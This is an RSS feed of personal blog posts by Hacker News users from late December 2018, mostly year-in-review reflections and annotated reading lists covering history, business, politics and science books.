<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>Hacker News Personal Blogs 2018 | All Blog Posts</title><link>https://hn-blogs.kronis.dev/feed.xml</link><description>A collection of blog posts from users of Hacker News, based on RSS feeds.</description><language>en-US</language><lastBuildDate>Wed, 20 May 2026 00:23:25 GMT</lastBuildDate><generator>rfeed v1.1.1</generator><docs>https://github.com/svpino/rfeed/blob/master/README.md</docs><item><title>Empathy and Failures of Democracies</title><link>https://mebassett.info/empathy-failures-democracy.html</link><description>This is a meandering discussion about empathy's role in public policy debates and popular culture's role in affecting empathy. So can popular culture help to nurture or destroy empathy in politics? I try to set up a framework for exploring this, but raise more questions than I answer.</description><author>Essays by Matthew Eric Bassett</author><pubDate>Mon, 31 Dec 2018 18:20:00 GMT</pubDate><guid isPermaLink="true">https://mebassett.info/empathy-failures-democracy.html</guid></item><item><title>2018: Reflections on trying to start an internet business</title><link>https://maxrozen.com/2018-review-starting-an-internet-business</link><description>A review post on what I've done this year in terms of trying to start an Internet business</description><author>Max Rozen</author><pubDate>Mon, 31 Dec 2018 07:52:00 GMT</pubDate><guid isPermaLink="true">https://maxrozen.com/2018-review-starting-an-internet-business</guid></item><item><title>The Post</title><link>https://olshansky.info/movie/the_post/</link><description>Olshansky's review of The Post</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 31 Dec 2018 04:23:09 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_post/</guid></item><item><title>2018 in review</title><link>http://dimitarsimeonov.com/2018/12/31/2018-in-review</link><description>&lt;p&gt;Looking back at 2018, I’m stunned how much it had to offer. I spent most of it on a sabbatical, and working on startup projects. Here are some highlights.&lt;/p&gt;

&lt;p&gt;This might seem like bragging. I realize it’s rare to have it so good, and for many people it’s not the case. I’d like to look at everything I got and experienced this year through the lens of gratefulness.&lt;/p&gt;

&lt;p&gt;I’ve worked a lot in the preceding years to be able to afford this, yet, I am incredibly lucky. So many things could have gone wrong and prevented me from enjoying one of the best years of my life. I’m grateful they didn’t.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;First highlight, I learned a lot.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Some of the technical skills I learned are hands-on deep learning, web development with React/Django/Graphql, serverless computing with Lambda and Typescript.&lt;/p&gt;

&lt;p&gt;I got better in some “soft skills” - public speaking, nonverbal communication, negotiation, persuasion, active listening.&lt;/p&gt;

&lt;p&gt;I learned that the most important and most effective soft skills are to care about the other person, and to be open an honest. To take the long term view. Win-win!&lt;/p&gt;

&lt;p&gt;I learned a few things just for fun. I dove into various aspects of blockchains and mechanism design such as Arrow’s impossibility theorem. I fulfilled a long time desire to learn about quantum computing and mechanics and to understand Shor’s factoring algorithm.&lt;/p&gt;

&lt;p&gt;I baked bread and experimented a lot. Some of it turned out so amazing, I was told it was Tartine-level quality. That made me feel proud.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Second, I worked on my personal development.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I published 19 blog post and wrote one short fiction story I haven’t published. Writing is a way for me to process life. I’m looking forward to do more writing every year.&lt;/p&gt;

&lt;p&gt;I quit caffeine on March 14 - it was one of the hardest things I accomplished and I felt a significant boost of energy after that. The withdrawal was a bitch.&lt;/p&gt;

&lt;p&gt;I made exercising an almost daily habit. I was active before, but not daily. I started slow, just ten push ups a day, and every month I added more - squats, stretches, bends and twists. Later on I got back to lifting weights.&lt;/p&gt;

&lt;p&gt;I kept training Brazilian Jiu Jitsu. Martial arts have given me so much. The more I train, the more interesting and fun it gets.&lt;/p&gt;

&lt;p&gt;I took a nearly two month break from alcohol. I have done one month break for the previous ten years, but this year I increased the duration. I’m proud of my current relationship with alcohol.&lt;/p&gt;

&lt;p&gt;I meditated. I clocked more than 2000 minutes on Headspace, and more untracked.&lt;/p&gt;

&lt;p&gt;I did a 30 day no complaint fast. I couldn’t complain about something without suggesting how it would be fixed. It’s amazing how this rewired my brain.&lt;/p&gt;

&lt;p&gt;I’m currently working towards a 30 day no excuse - where I have to say what I would change to succeed. This has been even more powerful rewiring.&lt;/p&gt;

&lt;p&gt;I started FINALLY breathing through the nose. It’s surprisingly simple to achieve. I used SomniFix mouth tape at night, and after about a month of that I’m breathing through the nose nearly 100% of the time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Third, I got to travel plenty and do fun things :D&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I went to Rwanda, Tanzania, Morocco again, Northern Spain and the Pyrinees, Colorado, Bulgaria, and I got to go around California a bit - from Mount Shasta to LA.&lt;/p&gt;

&lt;p&gt;I also got to race a Ferrari and ride a Jetski. Can’t complain.&lt;/p&gt;

&lt;p&gt;I went home and got to hug my parents and brothers. ❤️&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fourth, I got to spend time with close friends and make new ones&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I went to my friend’s wedding. I hosted friends for Fourth of July, Friendsgiving, and Christmas, and enjoyed cooking for them.&lt;/p&gt;

&lt;p&gt;I met, brainstormed, collaborated and worked with amazing and inspiring people. If you were one of them - thank you ❤️.&lt;/p&gt;

&lt;p&gt;I got to meet in person many of my closest friends, and with others I did video calls. That makes me happy looking back.&lt;/p&gt;

&lt;p&gt;I also got to interact with several dogs and occasionally take care of them, and they brought me a lot of joy. ❤️&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fifth, I read books and listened to audio books.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I counted ~16 books I read and 6 audio books. I didn’t count how many podcasts I listened to, but many of them discussed books as well. I read a partial draft of a book that I enjoyed.&lt;/p&gt;

&lt;p&gt;To highlight my favorite books - “Never split the difference” and “Without you, there is no us”. I was also moved by “Flowers for Algernon” and “Essays after Eighty”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sixth, I worked on a variety of projects.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I started a company, called AskAround, which would unlock the world’s information and failed. I was naive and impatient and that caused me and my cofounder to split.&lt;/p&gt;

&lt;p&gt;I pivoted to building a crowdsourced research assistant, renamed to ImmerseMe and build a working service. I eventually pivoted out of it again.&lt;/p&gt;

&lt;p&gt;I consulted one company in the NLP and voice space for a month, but ultimately found another cofounder and started working on a new startup.&lt;/p&gt;

&lt;p&gt;Meanwhile my wife started build an airplane so I also started helping with that from time to time.&lt;/p&gt;

&lt;p&gt;My workout habit turned out contagious, and several friends started joining me in lifting weights three times a week. I enjoy leading the group, designing the program, and it keeps me accountable in my own training.  Gainz!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Last but not least, I got to spend a lot of quality time with my wife.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;She’s my closest person and I cherish how our relationship has grown through the years, and how we share our path in life. ❤️   ❤️   ❤️   ❤️&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;It was not all butterflies and rainbows in 2018&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I struggled with a bunch of things. Among them addiction to social media and youtube, procrastination, and building a sense of personal motivation.&lt;/p&gt;

&lt;p&gt;Without external structure to impose deadlines and incentives on me, felt lost and often devolved into hours of binge watching Youtube. One of my main 2018 takeaways is the intrinsic motivation and discipline that I’ve been slowly building.&lt;/p&gt;

&lt;p&gt;Still a long way to go. I didn’t know what to do with my life. I still don’t.  At least I have a direction. And I feel a strong desire to live and see everything life has to offer. I’m thankful for 2018.&lt;/p&gt;</description><author>D13V</author><pubDate>Mon, 31 Dec 2018 02:44:11 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/12/31/2018-in-review</guid></item><item><title>Favorite Books Read in 2018</title><link>http://dominik.net/favorite-books-read-in-2018.html</link><description>&lt;p&gt;My favorite books out of the 103 books (~35,000 pages) that I read in 2018:&lt;/p&gt;
&lt;h2 id="sci-fi-fantasy-and-speculative-fiction"&gt;Sci-Fi, Fantasy, and Speculative Fiction&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/The_Baroque_Cycle"&gt;The Baroque Cycle&lt;/a&gt; (&lt;a href="https://www.amazon.com/Quicksilver-Baroque-Cycle-Neal-Stephenson-ebook/dp/B000FC1PJI/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285088&amp;amp;sr=1-1&amp;amp;keywords=quicksilver&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=f2ea93ca487f6a79bc0c820692110a45&amp;amp;language=en_US"&gt;Quicksilver&lt;/a&gt;, &lt;a href="https://www.amazon.com/gp/product/B000FC1PS4/ref=as_li_ss_tl?ie=UTF8&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=30956bb2b4c1bcc691252bbd84cc5dda&amp;amp;language=en_US"&gt;The Confusion&lt;/a&gt;, &lt;a href="https://www.amazon.com/gp/product/B000FC292K/ref=as_li_ss_tl?ie=UTF8&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=9f59de03b1dd43059298cbdd93062b3c&amp;amp;language=en_US"&gt;System of the World&lt;/a&gt;) — Rich, resplendent, and towering, this series of three (or eight, depending on how you count) books soars from the Glorious Revolution to the Court of the Sun King to rambunctious adventures around the globe. Filled with scientific references, historical tidbits, and cameos (as well as larger parts played) by historical figures, this series is a delight.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Norse-Mythology-Neil-Gaiman-ebook/dp/B01HQA6EOC/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285159&amp;amp;sr=1-4&amp;amp;keywords=norse+mythology&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=c8c8a1259ee67c72a54a1edd0eb6214c&amp;amp;language=en_US"&gt;Norse Mythology&lt;/a&gt; — Ancient tales, lovingly retold in clear, crisp prose.&lt;/p&gt;
&lt;h2 id="history"&gt;History&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Rubicon-Last-Years-Roman-Republic-ebook/dp/B0012RMVEI/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285197&amp;amp;sr=1-1&amp;amp;keywords=rubicon+tom+holland&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=579124974548c8c4b48817168ca01438&amp;amp;language=en_US"&gt;Rubicon&lt;/a&gt; — The events a hundred years before, and immediately after, Caesar crossed the Rubicon. Compellingly told and woven into a fine tapestry depicting the gradual and then sudden dissolution of the Roman Republic.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Square-Tower-Networks-Freemasons-Facebook-ebook/dp/B073NPCBL5/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285219&amp;amp;sr=1-1&amp;amp;keywords=square+and+the+tower&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=a5f142e77cbd635ccb8824c26830d5f7&amp;amp;language=en_US"&gt;The Square and the Tower&lt;/a&gt; — Erudite and thoughtful consideration of the interplay between networks (the eponymous square of the title) and hierarchies (the tower) across history.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Grand-Strategy-John-Lewis-Gaddis-ebook/dp/B073QZX7YX/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285243&amp;amp;sr=1-1&amp;amp;keywords=on+grand+strategy+by+john+lewis+gaddis&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=82922e83eb554fcce22e7c4e72d1702b&amp;amp;language=en_US"&gt;On Grand Strategy&lt;/a&gt; — A series of vignettes selected from history, highlighting themes of grand strategy across time.&lt;/p&gt;
&lt;h2 id="biography"&gt;Biography&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Grant-Ron-Chernow-ebook/dp/B06W2J89PV/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285262&amp;amp;sr=1-1&amp;amp;keywords=grant&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=35413d06f3778529fda8955991bd4379&amp;amp;language=en_US"&gt;Grant&lt;/a&gt; — A human portrayal of a simple man from Southwestern Ohio; of his struggles, his character, his flaws, and his virtues.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Elon-Musk-SpaceX-Fantastic-Future-ebook/dp/B00KVI76ZS/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285286&amp;amp;sr=1-4&amp;amp;keywords=elon+musk&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=47c22a6bd961bf279c86db86a9bd78fb&amp;amp;language=en_US"&gt;Elon Musk&lt;/a&gt; — Written in 2012, this book offers insight into Elon Musk‘s early life, initial success in business, and current motivation and drive.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Mind-Play-Shannon-Invented-Information-ebook/dp/B01M5IJN1P/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285310&amp;amp;sr=1-1&amp;amp;keywords=a+mind+at+play&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=c632b3f45912413245885c9c94ab4652&amp;amp;language=en_US"&gt;A Mind at Play&lt;/a&gt; — I first heard the name Claude Shannon in undergrad, in a little experimental course called 6.095: Information and Entropy. I remember being fascinated at the simplicity and depth of the theory that Shannon laid out. This book surveys his life and the development of that theory, as well as Shannon‘s own incredible combination of intellectual breadth and depth.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Dream-Machine-M-Mitchell-Waldrop-ebook/dp/B07GBCX7YC/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546285332&amp;amp;sr=1-3&amp;amp;keywords=the+dream+machine&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=e86e0a0b873b158b27f9958ab5f06997&amp;amp;language=en_US"&gt;The Dream Machine&lt;/a&gt; — A tour de force history of the early days of interactive computing. A window into a near-forgotten era, and of the work of J.C.R. Licklider, who did much to bring the dreams of that era into the reality of instantaneous, planetary-wide, communication and computing that we take almost completely for granted today. Highly recommended.&lt;/p&gt;
&lt;h2 id="economics"&gt;Economics&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Information-Rules-Strategic-Network-Economy-ebook/dp/B004OC07FI/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286328&amp;amp;sr=1-2&amp;amp;keywords=information+rules&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=4c3ada709706112098e43f4c5c88836b&amp;amp;language=en_US"&gt;Information Rules&lt;/a&gt; — Though written at the turn of the century, this book‘s dated references do not distract from the underlying soundness of the theory and insight offered about the network economy.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Prediction-Machines-Economics-Artificial-Intelligence-ebook/dp/B075GXJPFS/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286686&amp;amp;sr=1-1&amp;amp;keywords=prediction+machines&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=fc4f47955186cdcb0581a65d6070c447&amp;amp;language=en_US"&gt;Prediction Machines&lt;/a&gt; — A brief survey of the business implications of the deep learning revolution, with a look at what sort of things are ripe for disruption and how that might happen. Accessibly written, even for a non-technical reader, this book does a great job of illustrating what sort of applications we&amp;rsquo;re likely to see in the future and &lt;em&gt;why&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id="business-history"&gt;Business History&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Deal-Century-Breakup-AT-ebook/dp/B071D53HV8/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286366&amp;amp;sr=1-1&amp;amp;keywords=deal+of+the+century&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=c035d46b69ceb3ce5746ac8a2307cf85&amp;amp;language=en_US"&gt;Deal of the Century&lt;/a&gt; — A fascinating portrayal of the dissolution of the telephone monopoly in the early 80s. Memorable characters and a stirring story well told make this a surprisingly hard-to-put-down read.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Box-Shipping-Container-Smaller-Economy-ebook/dp/B01772PS00/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286385&amp;amp;sr=1-1&amp;amp;keywords=the+box+shipping&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=9329885b86031a82d30e9d5a6fc36265&amp;amp;language=en_US"&gt;The Box&lt;/a&gt; — Shipping containers. Seemingly so obvious and yet, as this book reveals, not.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Bad-Blood-Secrets-Silicon-Startup-ebook/dp/B078VW3VM7/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286407&amp;amp;sr=1-3&amp;amp;keywords=bad+blood&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=51420d5461698e246f9f260eb2ae8add&amp;amp;language=en_US"&gt;Bad Blood&lt;/a&gt; — In the end, if the science doesn‘t work, the science doesn‘t work. This book illustrates just how long hype and spin and bluster and fraud can hold off a collision with reality.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Shoe-Dog-Memoir-Creator-Nike-ebook/dp/B0176M1A44/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286436&amp;amp;sr=1-1&amp;amp;keywords=shoe+dog&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=f00435d36852efa56db8513aa17548fd&amp;amp;language=en_US"&gt;Shoe Dog&lt;/a&gt; — Part autobiography, part business history by the founder of Nike, this book focuses on the early years. Heartfelt and honest; warmly written. Perhaps most surprising, to a modern reader, are the challenges of financing an aggressive growth strategy in a world before venture capital.&lt;/p&gt;
&lt;h2 id="leadership-culture-and-self-development"&gt;Leadership, Culture, and Self-Development&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Make-Time-Focus-Matters-Every-ebook/dp/B078QSCM3V/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286456&amp;amp;sr=1-1&amp;amp;keywords=make+time&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=12f7cf8fb4152123ec603b127af0f190&amp;amp;language=en_US"&gt;Make Time&lt;/a&gt; &amp;amp; &lt;a href="https://www.amazon.com/Deep-Work-Focused-Success-Distracted-ebook/dp/B00X47ZVXM/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286474&amp;amp;sr=1-3&amp;amp;keywords=deep+work&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=aad53dd9ede7b3d7cb92cf5fc6136e7d&amp;amp;language=en_US"&gt;Deep Work&lt;/a&gt; — This pair of books, best read together, share strategies and tactics on how to make time for deep work. In a world filled with shiny distractions (digital and otherwise), finding time to focus on what‘s important (as well as determining, what, in fact, is actually important) is itself of vital importance.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Thinking-Bets-Making-Smarter-Decisions-ebook/dp/B074DG9LQF/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286491&amp;amp;sr=1-1&amp;amp;keywords=thinking+in+bets&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=2ca39ce329e8264503c2bc7f805b3e19&amp;amp;language=en_US"&gt;Thinking in Bets&lt;/a&gt; — Entertainingly written by a former champion poker player, this book applies lessons learned around the card table to life and business. Insightful and a fun read.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Good-Strategy-Bad-Difference-Matters-ebook/dp/B004J4WKEC/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286509&amp;amp;sr=1-1&amp;amp;keywords=good+strategy+bad+strategy&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=b3ce1b6e8d84b2762d6b31c6ea5fd2cf&amp;amp;language=en_US"&gt;Good Strategy, Bad Strategy&lt;/a&gt; — I‘m surprised this book was not on any of the reading lists of strategy courses I took in business school. Perhaps the clearest articulation of how to formulate strategy, as distinct from sloganeering, a common doppelgänger thereof.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Powerful-Building-Culture-Freedom-Responsibility-ebook/dp/B077Y4WVPT/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286527&amp;amp;sr=1-1&amp;amp;keywords=powerful+netflix&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=c27272c43960ca4a4e2953fd33a785dc&amp;amp;language=en_US"&gt;Powerful&lt;/a&gt; — From one of the authors of Netflix’s famous culture deck comes this amazing book. Honest, direct, filled with excellent, actionable guidance on how to create a company culture and what sort of company culture one should strive to create.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Culture-Map-INTL-ED-Decoding-ebook/dp/B01KSXNFJQ/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286543&amp;amp;sr=1-1&amp;amp;keywords=culture+map&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=660824877d6ef9d17b3d8836b48c56fd&amp;amp;language=en_US"&gt;The Culture Map&lt;/a&gt; — A practical, insightful look at international business cultural differences, told with humor and heart. Useful to anyone who works with folks from anywhere else.&lt;/p&gt;
&lt;h2 id="politics"&gt;Politics&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Revolt-Public-Crisis-Authority-Millennium-ebook/dp/B07J2V3PG4/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286563&amp;amp;sr=1-1&amp;amp;keywords=revolt+of+the+public&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=cfae105e05a7b08de9d566cfa52d41ac&amp;amp;language=en_US"&gt;The Revolt of the Public&lt;/a&gt; — Originally self-published in 2014 and republished, in an updated form, this year by &lt;a href="https://press.stripe.com/"&gt;Stripe Press&lt;/a&gt;, this book, by a former CIA analyst, looks at technological change as the catalyst that has caused the public to revolt against leaders and provoke a crisis of authority. Weaving together such seemingly disparate events as the Arab Spring, Occupy Wall Street, Brexit, and Trump, the book makes a compelling case that all these movements, at their heart, are enabled by the distributed, unmediated communication enabled by the Internet. The author argues that these movements “from the outside” often lack a positive agenda but are instead able to unify various factions through a common desire to oppose the status quo, without agreement on what or how to replace it. Highly recommended.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/After-Europe-Ivan-Krastev-ebook/dp/B06ZYGQYKH/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286581&amp;amp;sr=1-1&amp;amp;keywords=after+europe&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=e90b6eaa270537cdd6dfabffd1b5ea58&amp;amp;language=en_US"&gt;After Europe&lt;/a&gt; — This short book presents the case that &lt;em&gt;migration&lt;/em&gt;, particularly that precipitated by Libya and Syria, was the European establishment&amp;rsquo;s kryptonite. Europe&amp;rsquo;s ideals of human rights and equality put European leaders in an awkward position of either (in the eyes of their critics) ceding national sovereignty or heartlessly turning away from people in need. Europe&amp;rsquo;s own refugee laws were built for a different era and unequipped to meet the necessary scale. This disruption-by-migration has not yet been settled in Europe and it is unclear how it will be settled, as evidenced by the rise of a variety of populist movements, on both right and left, and no consensus on how to resolve inherent contradictions in the foundation of Europe. A thought-provoking read.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Jungle-Grows-Back-America-Imperiled-ebook/dp/B07B77NHYX/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286602&amp;amp;sr=1-1&amp;amp;keywords=the+jungle+grows+back&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=abfebe9fd8bea8fcc83080aa8c958add&amp;amp;language=en_US"&gt;The Jungle Grows Back&lt;/a&gt; — This book argues that the postwar order as we know it did not just happen. It was created — deliberately — by the United States and the Allies in an attempt to prevent the horrors of the 20th century from ever recurring. The book briefly surveys the creation of the status quo before turning to look at the beginning of its dissolution, as America turns inward after ill-advised adventures abroad. The implications of what the world could look like, were the postwar order overturned, are harrowing. A dire, but well-written brief.&lt;/p&gt;
&lt;h2 id="philosophy"&gt;Philosophy&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Skin-Game-Hidden-Asymmetries-Daily-ebook/dp/B075HYVP7C/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286623&amp;amp;sr=1-1&amp;amp;keywords=skin+in+the+game&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=1d52e9b7cacfb7653e8f30cadc1d0494&amp;amp;language=en_US"&gt;Skin in the Game&lt;/a&gt; — A delightful read, replete with wisdom. This book can be a bit curmudgeonly at times, but overall it’s a enjoyable discourse on the necessity of accounting for downside risks / disincentives — i.e. making sure not only that the people who make a decision can benefit if it goes well, but that they have some downside if goes poorly. And lots of illustrations on what happens if that isn&amp;rsquo;t the case.&lt;/p&gt;
&lt;h2 id="science"&gt;Science&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Behave-Biology-Humans-Best-Worst-ebook/dp/B01IAUGC5S/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286643&amp;amp;sr=1-1&amp;amp;keywords=behave&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=2c9de97c8820a83dc1894a7ca80ace8d&amp;amp;language=en_US"&gt;Behave&lt;/a&gt; — An incredible read, providing a deep look into human biology and neuroscience as we know it now, viewed through the lens of what makes us behave the way we do when we do. Insightful, humorous … deeply thought-provoking. Be sure to read the delightful footnotes.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.amazon.com/Stumbling-Happiness-Daniel-Gilbert-ebook/dp/B000GCFW0A/ref=as_li_ss_tl?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1546286666&amp;amp;sr=1-4&amp;amp;keywords=stumbling+on+happiness&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=d20a9e5077a586ff105e3f9682115482&amp;amp;language=en_US"&gt;Stumbling on Happiness&lt;/a&gt; — An entertaining survey of the state of practical cognitive psychology and how we, as humans, routinely mispredict what will actually make us happy, as well as deceive ourselves about ourselves. Recommended.&lt;/p&gt;</description><author>dominik.net</author><pubDate>Mon, 31 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dominik.net/favorite-books-read-in-2018.html</guid></item><item><title>Year in Review 2018</title><link>https://benovermyer.com/blog/2018/12/2018-year-in-review/</link><description>&lt;p&gt;As 2018 comes to a close, I'm looking back on the year and reflecting.&lt;/p&gt;
&lt;p&gt;It was a big year for me. On January 1, I proposed to my fiancee, and she accepted. We got married in October. In February, for the first time since 2005, I left the country. My fiancee, a couple friends of hers, and I all went to Punta Cana for a 7-day vacation. In May, I quit my job working for Spok and took a consultant position with Solution Design Group.&lt;/p&gt;
&lt;p&gt;With encouragement and support from Sarah, I paid off most of my credit cards over the course of 2018. I also paid off one of my loans. I saved up enough to pay cash for our honeymoon to Thailand next year.&lt;/p&gt;
&lt;p&gt;For the first time ever, I bought a current events book. I haven't been able to read much of it, though, since I normally read at night before bed and this particular book is the opposite of relaxing.&lt;/p&gt;
&lt;p&gt;I also spent a great deal of time programming generator tools for tabletop role-playing games. This year marked the emergence of my website for such tools, Iron Arachne.&lt;/p&gt;
&lt;p&gt;Finally, I started to really put normal effort into Silver Gryphon Games again. I've been blogging there regularly and working on multiple new books for the company.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Mon, 31 Dec 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/12/2018-year-in-review/</guid></item><item><title>Books I Read in 2018</title><link>https://ntietz.com/blog/books-i-read-2018/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;Every year, &lt;a href="https://www.goodreads.com"&gt;GoodReads&lt;/a&gt; has a Reading Challenge, where you set how many books you want to read and record them as you go. This year, I got serious about it, and it was a wonderful motivational device. I set a goal of two books per month, and I just eked it out over the finish line, finishing my 24th book this morning.&lt;/p&gt;
&lt;p&gt;Here are some of the best.&lt;/p&gt;
&lt;h3 id="rework-and-remote"&gt;&lt;a href="https://www.goodreads.com/book/show/6732019-rework"&gt;Rework&lt;/a&gt; and &lt;a href="https://www.goodreads.com/book/show/17316682-remote"&gt;Remote&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;These are two modern classics by DHH and Jason Fried. These fit so well into my thoughts about what a workplace should be and the culture we should cultivate that they weren't mind blowing - rather, they were an incredible distillation of things I've &lt;em&gt;wanted&lt;/em&gt; to say, in an incredibly clear manner. These two alone let me point to them and say: this is the kind of company I want to build.&lt;/p&gt;
